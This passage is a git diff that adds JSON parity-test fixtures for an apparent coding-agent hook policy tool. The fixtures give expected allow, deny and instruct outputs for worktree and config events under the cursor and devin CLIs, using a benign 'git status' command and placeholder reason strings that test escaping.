&a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5acb3bab --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..ed662370 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a0a3e298 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d9830459 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bcb6bcc0 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b2ec89fb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2ab2c046 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1ec89d25 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f422b1cd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..62d2d189 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b7476ab9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 00000000..801367dd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b95e91e2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..fd4241c1 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..e18fb4ed --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9f73fac5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9387dff3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/WorktreeRemove/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..13d3c9a6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/ConfigChange/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + 